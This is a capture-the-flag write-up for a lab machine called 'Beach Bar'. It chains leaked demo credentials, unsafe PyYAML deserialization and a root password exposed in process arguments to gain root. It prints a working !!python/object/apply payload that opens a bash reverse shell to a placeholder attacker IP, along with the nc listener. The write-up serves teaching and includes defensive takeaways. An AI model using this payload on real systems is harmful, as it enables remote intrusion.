Hacker Holidays — Day 5: Beach Bar
Demo creds in an HTML comment lead to an unsafe YAML deserialization RCE in a playlist importer, then a root password exposed in plain process arguments gets reused directly for su root.

Event: Hacker Holidays — The Byte Lotus Hotel · Day 5 · Boot2Root (Web → Linux privesc) Target:
http://MACHINE_IP
The Chain at a Glance
- Creds leaked in an HTML comment → log into the DJ app (
dj:dj). - Playlist import parses YAML with the unsafe loader → deserialization RCE →
shell as
bartender(user flag). - A root-owned “jukebox” daemon exposes a password in its process arguments; that
password is reused for root →
su root(root flag).
Recon
nmap -A -p- -Pn -n -T4 10.128.179.41
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Gunicorn (Beach Bar // Sign in, redirects to /login)
Only 22 and 80 exposed. The web app is Flask behind Gunicorn.
Content discovery finds the interesting routes (all auth-gated → /login):
ffuf -u http://10.128.179.41/FUZZ -w /usr/share/wordlists/dirb/big.txt
# dashboard, export, import, login, logout
Creds in the Page Source
The /login HTML carries a developer comment:
<!--
staff note: the demo DJ login is still enabled for the soft opening.
dj / dj -- swap this before the season starts (ticket BAR-7)
-->
Log in with dj / dj. The Flask session cookie decodes to {"user":"dj"} (signed
with a hardcoded secret_key, though we never need to forge it).
Foothold — Unsafe YAML Deserialization
/import accepts a playlist as YAML (paste or .yml upload). Template-injection
probes ({{7*7}}, ${7*7}, <%= %>) all fail with a PyYAML parser error:
Could not load playlist: while constructing a mapping ... found unhashable key
That error is the tell: the input is parsed as YAML, not rendered by a template engine. The app source (recovered post-foothold) confirms the bug:
parsed = yaml.load(content, Loader=yaml.Loader) # full/unsafe loader
yaml.Loader (unsafe) honours the !!python/object/apply tag, which instantiates
arbitrary Python objects — i.e. code execution during parsing. No output reflection
needed, so go straight for a reverse shell.
Listener:
nc -lvnp 4444
Payload submitted as the playlist (YOUR_IP = tun0 address):
!!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"]
Shell lands as bartender (the gunicorn worker user):
bartender@tryhackme-2404:/opt/beach-bar/webapp$ id
uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)
User Flag
cat /home/bartender/user.txt
THM{redacted}
Privilege Escalation — Credential Reuse via ps
No sudo (password required), no useful SUID/capabilities, no writable cron. The winning enumeration is the process list — the “service down the boardwalk quietly announcing something” from the briefing:
ps aux | grep root
root 611 /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass S[REDACTED]4! --bitrate 320k
jukeboxd.py runs as root and its --stream-pass is visible to every user via
/proc / ps. The daemon itself is a red herring (it just loops time.sleep(30) over
a hardcoded “now playing” list) — the value is the exposed password.
Leaked secrets are usually reused. It is:
bartender@tryhackme-2404:~$ su root
Password: S[REDACTED]4!
root@tryhackme-2404:~# cat /root/root.txt
THM{redacted}
Takeaways
- Read parser errors before guessing payloads. “found unhashable key” pointed
straight at YAML, saving a long dead-end down the SSTI path.
yaml.load(..., Loader=yaml.Loader)= RCE;SafeLoader/yaml.safe_loadwould have blocked the!!python/object/applytag. - Secrets in process arguments are public. Anything on a command line
(
--stream-pass,--password, tokens) is world-readable viaps//proc/<pid>/cmdline. Pass secrets via env files or stdin, never argv. - Credential reuse is the glue. The root password was handed to us by a low-priv
shell simply reading the process table. Enumerate
ps auxearly on every box. - Layered dev sloppiness: demo creds left in HTML → unsafe deserialization → root secret on a command line. Each is a “shipped on a deadline” mistake; chained, they’re full compromise.
Flags
user: THM{redacted}
root: THM{redacted}